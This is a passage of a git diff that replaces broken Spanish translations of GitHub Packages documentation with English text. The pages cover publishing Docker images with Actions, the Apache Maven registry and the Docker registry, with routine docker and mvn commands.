                - Crea un paso nuevo que se llama Build and push Docker image. Este paso se ejecuta como parte del job build-and-push-image. + Creates a new step called Build and push Docker image. This step runs as part of the build-and-push-image job.
                - Utiliza la acción build-push-action de Docker para crear la imagen, basándose en el Dockerfile de tu repositorio. Si la compilación es exitosa, sube la imagen al {% data variables.product.prodname_registry %}. + Uses the Docker build-push-action action to build the image, based on your repository's Dockerfile. If the build succeeds, it pushes the image to {% data variables.product.prodname_registry %}.
                - Envía los parámetros requeridas a la acción build-push-action. Estas se definen en líneas subsecuentes. + Sends the required parameters to the build-push-action action. These are defined in the subsequent lines.
                - Define el contexto de la compilación como el conjunto de archivos que se ubican en la ruta específica. Para obtener más información, consulta la sección "Uso". + Defines the build's context as the set of files located in the specified path. For more information, see "Usage."
                - Sube esta imagen al registro si se compila con éxito. + Pushes this image to the registry if it is built successfully.
                - Agrega las etiquetas y marcadores que se exrayeron en el paso "meta". + Adds the tags and labels extracted in the "meta" step.
                - Etiqueta la imagen con el SHA de la confirmación que activó el flujo de trabajo. + Tags the image with the SHA of the commit that triggered the workflow.
                -Este flujo de trabajo nuevo se ejecutará automáticamente cada que subas un cambio a una rama que se llame `release` en el repositorio. Puedes ver el progreso en la pestaña de **Acciones**. +This new workflow will run automatically every time you push a change to a branch named `release` in the repository. You can view the progress in the **Actions** tab. -Unos minutos después de que se complete el flujo de trabajo, el paquete nuevo podrá visualizarse en tu repositorio. Para encontrar tus paquetes disponibles, consulta la sección "[Visualizar los paquetes de un repositorio](/packages/publishing-and-managing-packages/viewing-packages#viewing-a-repositorys-packages)". +A few minutes after the workflow has completed, the new package will visible in your repository. To find your available packages, see "[Viewing a repository's packages](/packages/publishing-and-managing-packages/viewing-packages#viewing-a-repositorys-packages)." -## Instalar un paquete mediante una acción +## Installing a package using an action -Puedes instalar paquetes como parte de tu flujo de CI mediante {% data variables.product.prodname_actions %}. Por ejemplo, podrías configurar un flujo de trabajo para que cada vez que un programador suba código a una solicitud de extracción, el flujo de trabajo resuelva las dependencias al descargar e instalar paquetes alojados por el {% data variables.product.prodname_registry %}. Luego, el flujo de trabajo puede ejecutar pruebas de CI que requieran las dependencias. +You can install packages as part of your CI flow using {% data variables.product.prodname_actions %}. For example, you could configure a workflow so that anytime a developer pushes code to a pull request, the workflow resolves dependencies by downloading and installing packages hosted by {% data variables.product.prodname_registry %}. Then, the workflow can run CI tests that require the dependencies. -Installing packages hosted by {% data variables.product.prodname_registry %} through {% data variables.product.prodname_actions %} requires minimal configuration or additional authentication when you use the `GITHUB_TOKEN`.{% ifversion fpt or ghec %} Data transfer is also free when an action installs a package. Para obtener más información, consulta la sección "[Acerca de la facturación para el {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/about-billing-for-github-packages)".{% endif %} +Installing packages hosted by {% data variables.product.prodname_registry %} through {% data variables.product.prodname_actions %} requires minimal configuration or additional authentication when you use the `GITHUB_TOKEN`.{% ifversion fpt or ghec %} Data transfer is also free when an action installs a package. For more information, see "[About billing for {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/about-billing-for-github-packages)."{% endif %} {% data reusables.package_registry.actions-configuration %} {% ifversion fpt or ghec %} -## Actualizar un flujo de trabajo que tiene acceso a `ghcr.io` +## Upgrading a workflow that accesses `ghcr.io` -El {% data variables.product.prodname_container_registry %} es compatible con el `GITHUB_TOKEN` para una autenticación más fácil y segura en tus flujos de trabajo. Si tu flujo de trabajo está utilizando un token de acceso personal (PAT) para autenticarse en `ghcr.io`, entonces te recomendamos ampliamente que actualices tu flujo de trabajo para utilizar el `GITHUB_TOKEN`. +The {% data variables.product.prodname_container_registry %} supports the `GITHUB_TOKEN` for easy and secure authentication in your workflows. If your workflow is using a personal access token (PAT) to authenticate to `ghcr.io`, then we highly recommend you update your workflow to use the `GITHUB_TOKEN`. -Para obtener más información sobre el `GITHUB_TOKEN`, consulta la sección "[Autenticación en un flujo de trabajo](/actions/reference/authentication-in-a-workflow#using-the-github_token-in-a-workflow)". +For more information about the `GITHUB_TOKEN`, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#using-the-github_token-in-a-workflow)." -El utilizar el `GITHUB_TOKEN` en vez de un PAT, el cual incluya el alcance de `repo`, incrementa la seguridad de tu repositorio, ya que no necesita sutilizar un PAT de vida extendida que ofrezca acceso innecesario al repositorio en donde se ejecuta tu flujo de trabajo. Para obtener más información acerca de las mejores prácticas de seguridad, consulta la sección "[Fortalecimiento de seguridad para las GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#using-secrets)". +Using the `GITHUB_TOKEN` instead of a PAT, which includes the `repo` scope, increases the security of your repository as you don't need to use a long-lived PAT that offers unnecessary access to the repository where your workflow is run. For more information about security best practices, see "[Security hardening for GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#using-secrets)." -1. Navega a la página de llegada de tu paquete. -1. En la barra lateral izquierda, haz clic en **Acceso a las acciones**. ![Opción "Acceso a las acciones" en el menú izquierdo](/assets/images/help/package-registry/organization-repo-access-for-a-package.png) -1. Para asegurarte de que tu paquete de contenedor tenga acceso a tu flujo de trabajo, debes agregar el repositorio en donde se almacena el flujo de trabajo a tu contenedor. Haz clic en **Agregar repositorio** y busca el repositorio que quieres agregar. ![Botón "Agregar repositorio"](/assets/images/help/package-registry/add-repository-button.png) +1. Navigate to your package landing page. +1. In the left sidebar, click **Actions access**. + !["Actions access" option in left menu](/assets/images/help/package-registry/organization-repo-access-for-a-package.png) +1. To ensure your container package has access to your workflow, you must add the repository where the workflow is stored to your container. Click **Add repository** and search for the repository you want to add. + !["Add repository" button](/assets/images/help/package-registry/add-repository-button.png) {% note %} - **Nota:** Agregar un repositorio a tu contenedor a través de la opción de menú **Acceso de las acciones** es diferente que conectar tu contenedor a un repositorio. Para obtener más información, consulta las opciones "[Garantizar a tu paquete acceso al flujo de trabajo](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-workflow-access-to-your-package)" y "[Conectar un repositorio a un paquete](/packages/learn-github-packages/connecting-a-repository-to-a-package)". + **Note:** Adding a repository to your container through the **Actions access** menu option is different than connecting your container to a repository. For more information, see "[Ensuring workflow access to your package](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-workflow-access-to-your-package)" and "[Connecting a repository to a package](/packages/learn-github-packages/connecting-a-repository-to-a-package)." {% endnote %} -1. Opcionalmente, utiliza el menú desplegable de "rol", selecciona el nivel de acceso predeterminado que te gustaría que tuviera el repositorio en tu imagen de contenedor. ![Niveles de acceso de permisos para otorgar a los repositorios](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png) -1. Abre tu archivo de flujo de trabajo. En la línea en donde ingresas a `ghcr.io`, reemplaza tu PAT con {% raw %}`${{ secrets.GITHUB_TOKEN }}`{% endraw %}. +1. Optionally, using the "role" drop-down menu, select the default access level that you'd like the repository to have to your container image. + ![Permission access levels to give to repositories](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png) +1. Open your workflow file. On the line where you log in to `ghcr.io`, replace your PAT with {% raw %}`${{ secrets.GITHUB_TOKEN }}`{% endraw %}. -Por ejemplo, este flujo de trabajo publica una imagen de Docker utilizando {% raw %}`${{ secrets.GITHUB_TOKEN }}`{% endraw %} para autenticarse. +For example, this workflow publishes a Docker image using {% raw %}`${{ secrets.GITHUB_TOKEN }}`{% endraw %} to authenticate. ```yaml{:copy} name: Demo Push diff --git a/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md b/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md index 5b7164cb03..a494c22c11 100644 --- a/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md +++ b/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md @@ -1,6 +1,6 @@ --- -title: Trabajar con el registro de Apache Maven -intro: 'Puedes configurar Apache Maven para publicar paquetes para {% data variables.product.prodname_registry %} y utilizar paquetes almacenados en {% data variables.product.prodname_registry %} como dependencias en un proyecto Java.' +title: Working with the Apache Maven registry +intro: 'You can configure Apache Maven to publish packages to {% data variables.product.prodname_registry %} and to use packages stored on {% data variables.product.prodname_registry %} as dependencies in a Java project.' product: '{% data reusables.gated-features.packages %}' redirect_from: - /articles/configuring-apache-maven-for-use-with-github-package-registry @@ -13,36 +13,36 @@ versions: ghes: '*' ghae: '*' ghec: '*' -shortTitle: Registro de Apache maven +shortTitle: Apache Maven registry --- {% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} -**Nota:** Cuando instalas o publicas una imagen de docker, {% data variables.product.prodname_registry %} no es compatible con capas externas, tales como imágenes de Windows. +{% data reusables.package_registry.admins-can-configure-package-types %} -## Autenticarte en {% data variables.product.prodname_registry %} +## Authenticating to {% data variables.product.prodname_registry %} {% data reusables.package_registry.authenticate-packages %} {% data reusables.package_registry.authenticate-packages-github-token %} -### Autenticarte con un token de acceso personal +### Authenticating with a personal access token {% data reusables.package_registry.required-scopes %} -Puedes autenticar en {% data variables.product.prodname_registry %} con Apache Maven editando tu archivo *~/.m2/settings.xml* para incluir tu token de acceso personal. Crear un nuevo archivo *~/.m2/settings.xml* si no existe uno. +You can authenticate to {% data variables.product.prodname_registry %} with Apache Maven by editing your *~/.m2/settings.xml* file to include your personal access token. Create a new *~/.m2/settings.xml* file if one doesn't exist. -En la etiqueta `servidores`, agrega una etiqueta `servidor` hijo con una `Id`, reemplazando *USERNAME* con tu nombre de usuario {% data variables.product.prodname_dotcom %} y *Token* con tu token de acceso personal. +In the `servers` tag, add a child `server` tag with an `id`, replacing *USERNAME* with your {% data variables.product.prodname_dotcom %} username, and *TOKEN* with your personal access token. -En la etiqueta `repositorios`, configura un repositorio al mapear el `Id` del repositorio a la `Id` que agregaste en la etiqueta `servidor` que contiene tus credenciales. Reemplaza a {% ifversion ghes or ghae %}*HOSTNAME* con el nombre de host de {% data variables.product.product_location %} y a{% endif %} *OWNER* con el nombre de la cuenta de usuario u organización a la que pertenece el repositorio. Dado que las letras mayúsculas no son compatibles, debes usar minúsculas para el propietario del repositorio si el nombre de usuario o el nombre de la organización de {% data variables.product.prodname_dotcom %} contiene letras mayúsculas. +In the `repositories` tag, configure a repository by mapping the `id` of the repository to the `id` you added in the `server` tag containing your credentials. Replace {% ifversion ghes or ghae %}*HOSTNAME* with the host name of {% data variables.product.product_location %}, and{% endif %} *OWNER* with the name of the user or organization account that owns the repository. Because uppercase letters aren't supported, you must use lowercase letters for the repository owner even if the {% data variables.product.prodname_dotcom %} user or organization name contains uppercase letters. -Si deseas interactuar con múltiples repositorios, puedes agregar cada repositorio para separar hijos del `repositorio` en la etiqueta `repositorios`, asignando la `Id` de cada una a las credenciales en la etiqueta `servidores`. +If you want to interact with multiple repositories, you can add each repository to separate `repository` children in the `repositories` tag, mapping the `id` of each to the credentials in the `servers` tag. {% data reusables.package_registry.apache-maven-snapshot-versions-supported %} {% ifversion ghes %} -Para obtener más información acerca de cómo crear un paquete, consulta la [documentación maven.apache.org](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html). +If your instance has subdomain isolation enabled: {% endif %} ```xml @@ -85,7 +85,7 @@ Para obtener más información acerca de cómo crear un paquete, consulta la [do ``` {% ifversion ghes %} -Por ejemplo, los proyectos *OctodogApp* y *OctocatApp* publicarán en el mismo repositorio: +If your instance has subdomain isolation disabled: ```xml `elemento del archivo *pom.xml*. {% data variables.product.prodname_dotcom %} coincidirá con el repositorio según ese campo. Dado que el nombre del repositorio también es parte del elemento `distributionManagement`, no hay pasos adicionales para publicar múltiples paquetes en el mismo repositorio. +If you would like to publish multiple packages to the same repository, you can include the URL of the repository in the `` element of the *pom.xml* file. {% data variables.product.prodname_dotcom %} will match the repository based on that field. Since the repository name is also part of the `distributionManagement` element, there are no additional steps to publish multiple packages to the same repository. -Para obtener más información acerca de cómo crear un paquete, consulta la [documentación maven.apache.org](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html). +For more information on creating a package, see the [maven.apache.org documentation](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html). -1. Edita el elemento `distributionManagement` del archivo *pom.xml* que se ubica en tu directorio de paquete, reemplazando {% ifversion ghes or ghae %}*HOSTNAME* con el nombre del host de {% data variables.product.product_location %}, {% endif %}`OWNER` con el nombre de la cuenta organizacional o de usuario a la que pertenece el repositorio y `REPOSITORY` con el nombre del repositorio que contiene tu proyecto.{% ifversion ghes %} +1. Edit the `distributionManagement` element of the *pom.xml* file located in your package directory, replacing {% ifversion ghes or ghae %}*HOSTNAME* with the host name of {% data variables.product.product_location %}, {% endif %}`OWNER` with the name of the user or organization account that owns the repository and `REPOSITORY` with the name of the repository containing your project.{% ifversion ghes %} - Si tu instancia tiene habilitado el aislamiento de subdominio:{% endif %} + If your instance has subdomain isolation enabled:{% endif %} ```xml @@ -158,19 +158,19 @@ Para obtener más información acerca de cómo crear un paquete, consulta la [do ```{% endif %} {% data reusables.package_registry.checksum-maven-plugin %} -1. Publicar el paquete. +1. Publish the package. ```shell $ mvn deploy ``` {% data reusables.package_registry.viewing-packages %} -## Instalar un paquete +## Installing a package -Para instalar un paquete de Apache Maven desde {% data variables.product.prodname_registry %}, edita el *POM. XML* archivo para incluir el paquete como una dependencia. Si deseas instalar paquetes desde más de un repositorio, agrega una etiqueta `repositorio` para cada uno. Para obtener más información acerca del uso de un archivo *pom.xml* en tu proyecto, consulta "[Introducción al POM](https://maven.apache.org/guides/introduction/introduction-to-the-pom.html)"en la documentación de Apache Maven. +To install an Apache Maven package from {% data variables.product.prodname_registry %}, edit the *pom.xml* file to include the package as a dependency. If you want to install packages from more than one repository, add a `repository` tag for each. For more information on using a *pom.xml* file in your project, see "[Introduction to the POM](https://maven.apache.org/guides/introduction/introduction-to-the-pom.html)" in the Apache Maven documentation. {% data reusables.package_registry.authenticate-step %} -2. Agrega las dependencias del paquete al elemento `dependencias` del archivo *pom.xml* de tu proyecto, reemplazando `com.example:test` con tu paquete. +2. Add the package dependencies to the `dependencies` element of your project *pom.xml* file, replacing `com.example:test` with your package. ```xml @@ -182,13 +182,13 @@ Para instalar un paquete de Apache Maven desde {% data variables.product.prodnam ``` {% data reusables.package_registry.checksum-maven-plugin %} -3. Instala el paquete. +3. Install the package. ```shell $ mvn install ``` -## Leer más +## Further reading -- "[Trabajar con el registro de Gradle](/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry)" +- "[Working with the Gradle registry](/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry)" - "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}" diff --git a/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md b/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md index 3206484ec3..e27195ffd4 100644 --- a/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md +++ b/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md @@ -1,5 +1,5 @@ --- -title: Trabajar con el registro de Docker +title: Working with the Docker registry intro: '{% ifversion fpt or ghec %}The Docker registry has now been replaced by the {% data variables.product.prodname_container_registry %}.{% else %}You can push and pull your Docker images using the {% data variables.product.prodname_registry %} Docker registry, which uses the package namespace `https://docker.pkg.github.com`.{% endif %}' product: '{% data reusables.gated-features.packages %}' redirect_from: @@ -14,15 +14,15 @@ versions: ghes: '*' ghae: '*' ghec: '*' -shortTitle: Registro de Docker +shortTitle: Docker registry --- {% ifversion fpt or ghec %} -El registro de Docker de {% data variables.product.prodname_dotcom %} (el cual utilizó el designador de nombre `docker.pkg.github.com`) se reemplazó con el {% data variables.product.prodname_container_registry %} (el cual utiliza el designador de nombre `https://ghcr.io`). El {% data variables.product.prodname_container_registry %} ofrece beneficios tales como permisos granulares y optimización de almacenamiento para las imágenes de Docker. +{% data variables.product.prodname_dotcom %}'s Docker registry (which used the namespace `docker.pkg.github.com`) has been replaced by the {% data variables.product.prodname_container_registry %} (which uses the namespace `https://ghcr.io`). The {% data variables.product.prodname_container_registry %} offers benefits such as granular permissions and storage optimization for Docker images. -Las imágenes de Docker que se almacenaron previamente en el registro de Docker se están migrando automáticamente al {% data variables.product.prodname_container_registry %}. Para obtener más información, consulta la sección "[Migrarse al {% data variables.product.prodname_container_registry %} desde el registro de Docker](/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry)" y [Trabajar con el {% data variables.product.prodname_container_registry %}](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)". +Docker images previously stored in the Docker registry are being automatically migrated into the {% data variables.product.prodname_container_registry %}. For more information, see "[Migrating to the {% data variables.product.prodname_container_registry %} from the Docker registry](/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry)" and "[Working with the {% data variables.product.prodname_container_registry %}](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)." {% else %} @@ -30,25 +30,25 @@ Las imágenes de Docker que se almacenaron previamente en el registro de Docker {% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} -**Nota:** Cuando instalas o publicas una imagen de docker, {% data variables.product.prodname_registry %} no es compatible con capas externas, tales como imágenes de Windows. +{% data reusables.package_registry.admins-can-configure-package-types %} -## Acerca de la compatibilidad de Docker +## About Docker support -Cuando instalas o publicas una imagen de Docker, el registro de Docker no es compatible actualmente con capas ajenas, tales como imágenes de Windows. +When installing or publishing a Docker image, the Docker registry does not currently support foreign layers, such as Windows images. -## Autenticarte en {% data variables.product.prodname_registry %} +## Authenticating to {% data variables.product.prodname_registry %} {% data reusables.package_registry.authenticate-packages %} {% data reusables.package_registry.authenticate-packages-github-token %} -### Autenticarte con un token de acceso personal +### Authenticating with a personal access token {% data reusables.package_registry.required-scopes %} -Puedes autenticar a {% data variables.product.prodname_registry %} con Docker usando el comando de inicio de sesión `Docker`. +You can authenticate to {% data variables.product.prodname_registry %} with Docker using the `docker` login command. -Para mantener tus credenciales seguras, te recomendamos que guardes tu token de acceso personal en un archivo local de tu computadora y utilices el marcador `--password-stdin` de Docker, el cual lee tu token desde un archivo local. +To keep your credentials secure, we recommend you save your personal access token in a local file on your computer and use Docker's `--password-stdin` flag, which reads your token from a local file. {% ifversion fpt or ghec %} {% raw %} @@ -60,24 +60,15 @@ Para mantener tus credenciales seguras, te recomendamos que guardes tu token de {% ifversion ghes or ghae %} {% ifversion ghes %} -Para obtener más información acerca de cómo crear un paquete, consulta la [documentación maven.apache.org](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html). +If your instance has subdomain isolation enabled: {% endif %} {% raw %} ```shell - $ docker images - -> REPOSITORY TAG IMAGE ID CREATED SIZE -> monalisa 1.0 c75bebcdd211 4 weeks ago 1.11MB - -# Etiqueta la imagen con OWNER/REPO/IMAGE_NAME -$ docker tag c75bebcdd211 docker.pkg.github.com/octocat/octo-app/monalisa:1.0 - -# Sube la imagen a {% data variables.product.prodname_registry %} -$ docker push docker.pkg.github.com/octocat/octo-app/monalisa:1.0 + $ cat ~/TOKEN.txt | docker login docker.HOSTNAME -u USERNAME --password-stdin ``` {% endraw %} {% ifversion ghes %} -Por ejemplo, los proyectos *OctodogApp* y *OctocatApp* publicarán en el mismo repositorio: +If your instance has subdomain isolation disabled: {% raw %} ```shell @@ -90,83 +81,81 @@ Por ejemplo, los proyectos *OctodogApp* y *OctocatApp* publicarán en el mismo r To use this example login command, replace `USERNAME` with your {% data variables.product.product_name %} username{% ifversion ghes or ghae %}, `HOSTNAME` with the URL for {% data variables.product.product_location %},{% endif %} and `~/TOKEN.txt` with the file path to your personal access token for {% data variables.product.product_name %}. -Para obtener más información, consulta la sección "[Inicio de sesión de Docker](https://docs.docker.com/engine/reference/commandline/login/#provide-a-password-using-stdin)." +For more information, see "[Docker login](https://docs.docker.com/engine/reference/commandline/login/#provide-a-password-using-stdin)." -## Publicar una imagen +## Publishing an image {% data reusables.package_registry.docker_registry_deprecation_status %} {% note %} -**Nota:** Los nombres de imagen deben utilizar letras en minúscula únicamente. +**Note:** Image names must only use lowercase letters. {% endnote %} -{% data variables.product.prodname_registry %} admite varias imágenes Docker de primer nivel por repositorio. Un repositorio puede tener cualquier cantidad de etiquetas de imagen. Puedes experimentar un servicio de menor calidad al publicar o instalar imágenes de Docker de más de 10 GB, las capas tienen un límite de 5 GB cada una. Para obtener más información, consulta "[Etiqueta Docker](https://docs.docker.com/engine/reference/commandline/tag/)" en la documentación de Docker. +{% data variables.product.prodname_registry %} supports multiple top-level Docker images per repository. A repository can have any number of image tags. You may experience degraded service publishing or installing Docker images larger than 10GB, layers are capped at 5GB each. For more information, see "[Docker tag](https://docs.docker.com/engine/reference/commandline/tag/)" in the Docker documentation. {% data reusables.package_registry.viewing-packages %} -1. Determina el nombre y la ID de la imagen Docker utilizando `imágenes docker`. +1. Determine the image name and ID for your docker image using `docker images`. ```shell $ docker images > < > > REPOSITORY TAG IMAGE ID CREATED SIZE > IMAGE_NAME VERSION IMAGE_ID 4 weeks ago 1.11MB ``` -2. Utilizando la ID de la imagen de Docker, etiqueta a la imagen de docker, reemplazando *OWNER* con el nombre de la cuenta de usuario u organización a la que pertenece el repositorio, *REPOSITORY* con el nombre del repositorio que contiene tu proyecto, *IMAGE_NAME* con el nombre del paquete o imagen, {% ifversion ghes or ghae %} *HOSTNAME* con el nombre de host de {% data variables.product.product_location %}{% endif %} y *VERSION* con la versión del paquete y hora de compilción. +2. Using the Docker image ID, tag the docker image, replacing *OWNER* with the name of the user or organization account that owns the repository, *REPOSITORY* with the name of the repository containing your project, *IMAGE_NAME* with name of the package or image,{% ifversion ghes or ghae %} *HOSTNAME* with the hostname of {% data variables.product.product_location %},{% endif %} and *VERSION* with package version at build time. {% ifversion fpt or ghec %} ```shell $ docker tag IMAGE_ID docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION ``` {% else %} {% ifversion ghes %} - Para obtener más información acerca de cómo crear un paquete, consulta la [documentación maven.apache.org](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html). + If your instance has subdomain isolation enabled: {% endif %} ```shell - Puedes publicar una nueva imagen de Docker por primera vez y nombrarla monalisa. + $ docker tag IMAGE_ID docker.HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION ``` -. - {% ifversion ghes %} - Por ejemplo, los proyectos *OctodogApp* y *OctocatApp* publicarán en el mismo repositorio: + If your instance has subdomain isolation disabled: ```shell $ docker tag IMAGE_ID HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION ``` {% endif %} {% endif %} -3. Si aún no creas una imagen de docker para el paquete, crea la imagen, reemplazando *OWNER* con el nombre de la cuenta de organización o usuario a la que pertenece el repositorio, *REPOSITORY* con el nombre del repositorio que contiene tu proyecto, *IMAGE_NAME* con el nombre del paquete o imagen, *VERSION* con la versión de paquete al momento de la compilación,{% ifversion ghes or ghae %}*HOSTNAME* con el nombre de host de {% data variables.product.product_location %},{% endif %} y *PATH* a la imagen en caso de que no esté en el directorio de trabajo actual. +3. If you haven't already built a docker image for the package, build the image, replacing *OWNER* with the name of the user or organization account that owns the repository, *REPOSITORY* with the name of the repository containing your project, *IMAGE_NAME* with name of the package or image, *VERSION* with package version at build time,{% ifversion ghes or ghae %} *HOSTNAME* with the hostname of {% data variables.product.product_location %},{% endif %} and *PATH* to the image if it isn't in the current working directory. {% ifversion fpt or ghec %} ```shell $ docker build -t docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION PATH ``` {% else %} {% ifversion ghes %} - Para obtener más información acerca de cómo crear un paquete, consulta la [documentación maven.apache.org](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html). + If your instance has subdomain isolation enabled: {% endif %} ```shell $ docker build -t docker.HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION PATH ``` {% ifversion ghes %} - Por ejemplo, los proyectos *OctodogApp* y *OctocatApp* publicarán en el mismo repositorio: + If your instance has subdomain isolation disabled: ```shell $ docker build -t HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION PATH ``` {% endif %} {% endif %} -4. Publicar la imagen para {% data variables.product.prodname_registry %}. +4. Publish the image to {% data variables.product.prodname_registry %}. {% ifversion fpt or ghec %} ```shell $ docker push docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION ``` {% else %} {% ifversion ghes %} - Para obtener más información acerca de cómo crear un paquete, consulta la [documentación maven.apache.org](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html). + If your instance has subdomain isolation enabled: {% endif %} ```shell $ docker push docker.HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION ``` {% ifversion ghes %} - Por ejemplo, los proyectos *OctodogApp* y *OctocatApp* publicarán en el mismo repositorio: + If your instance has subdomain isolation disabled: ```shell $ docker push HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION ``` @@ -174,17 +163,17 @@ Para obtener más información, consulta la sección "[Inicio de sesión de Dock {% endif %} {% note %} - **Nota:** Debes subir tu imagen usando `IMAGE_NAME: VERSION` y no utilizar `IMAGE_NAME: SHA`. + **Note:** You must push your image using `IMAGE_NAME:VERSION` and not using `IMAGE_NAME:SHA`. {% endnote %} -### Ejemplo de publicación de una imagen Docker +### Example publishing a Docker image {% ifversion ghes %} -Estos ejemplos asumen que tu instancia tiene habilitado el aislamiento de subdominios. +These examples assume your instance has subdomain isolation enabled. {% endif %} -Puedes publicar la versión 1.0 de la imagen `monalisa` en el repositorio `octocat/octo-app` usando una ID de imagen. +You can publish version 1.0 of the `monalisa` image to the `octocat/octo-app` repository using an image ID. {% ifversion fpt or ghec %} ```shell @@ -193,10 +182,10 @@ $ docker images > REPOSITORY TAG IMAGE ID CREATED SIZE > monalisa 1.0 c75bebcdd211 4 weeks ago 1.11MB -# Etiqueta la imagen con OWNER/REPO/IMAGE_NAME +# Tag the image with OWNER/REPO/IMAGE_NAME $ docker tag c75bebcdd211 docker.pkg.github.com/octocat/octo-app/monalisa:1.0 -# Sube la imagen a {% data variables.product.prodname_registry %} +# Push the image to {% data variables.product.prodname_registry %} $ docker push docker.pkg.github.com/octocat/octo-app/monalisa:1.0 ``` @@ -217,16 +206,15 @@ $ docker push docker.HOSTNAME/octocat/octo-app/monalisa:1.0 {% endif %} -Puedes publicar una nueva imagen de Docker por primera vez y nombrarla `monalisa`. +You can publish a new Docker image for the first time and name it `monalisa`. {% ifversion fpt or ghec %} ```shell -# Construye la imagen con docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION -# Asume que Dockerfile reside en el directorio de trabajo actual (.) -$ docker build -t docker.pkg.github.com/octocat/octo-app/monalisa:1.0 . +# Build the image with docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION +# Assumes Dockerfile resides in the current working directory (.) $ docker build -t docker.pkg.github.com/octocat/octo-app/monalisa:1.0 . -# Sube la imagen a {% data variables.product.prodname_registry %} +# Push the image to {% data variables.product.prodname_registry %} $ docker push docker.pkg.github.com/octocat/octo-app/monalisa:1.0 ``` @@ -241,11 +229,11 @@ $ docker push docker.HOSTNAME/octocat/octo-app/monalisa:1.0 ``` {% endif %} -## Descargar una imagen +## Downloading an image {% data reusables.package_registry.docker_registry_deprecation_status %} -Puedes utilizar el comando `docker pull` para instalar una imagen de docker desde el {% data variables.product.prodname_registry %}, reemplazando *OWNER* con el nombre de la cuenta de usuario u organización a la que pertenece el repositorio, *REPOSITORY* con el nombre de repositorio que contiene tu proyecto, *IMAGE_NAME* con el nombre del paquete o imagen,{% ifversion ghes or ghae %} *HOSTNAME* con el nombre del host de {% data variables.product.product_location %}, {% endif %} y *TAG_NAME* con la etiqueta de la imagen que quieres instalar. +You can use the `docker pull` command to install a docker image from {% data variables.product.prodname_registry %}, replacing *OWNER* with the name of the user or organization account that owns the repository, *REPOSITORY* with the name of the repository containing your project, *IMAGE_NAME* with name of the package or image,{% ifversion ghes or ghae %} *HOSTNAME* with the host name of {% data variables.product.product_location %}, {% endif %} and *TAG_NAME* with tag for the image you want to install. {% ifversion fpt or ghec %} ```shell @@ -254,13 +242,13 @@ $ docker pull docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:TAG_NAME {% ifversion ghes %} -Para obtener más información acerca de cómo crear un paquete, consulta la [documentación maven.apache.org](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html). +If your instance has subdomain isolation enabled: {% endif %} ```shell $ docker pull docker.HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:TAG_NAME ``` {% ifversion ghes %} -Por ejemplo, los proyectos *OctodogApp* y *OctocatApp* publicarán en el mismo repositorio: +If your instance has subdomain isolation disabled: ```shell $ docker pull HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:TAG_NAME ``` @@ -269,11 +257,11 @@ $ docker pull HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:TAG_NAME {% note %} -**Nota:** Debes extraer la imagen utilizando `IMAGE_NAME:VERSION` y no así, utilizando `IMAGE_NAME:SHA`. +**Note:** You must pull the image using `IMAGE_NAME:VERSION` and not using `IMAGE_NAME:SHA`. {% endnote %} -## Leer más +## Further reading - "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}" diff --git a/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md 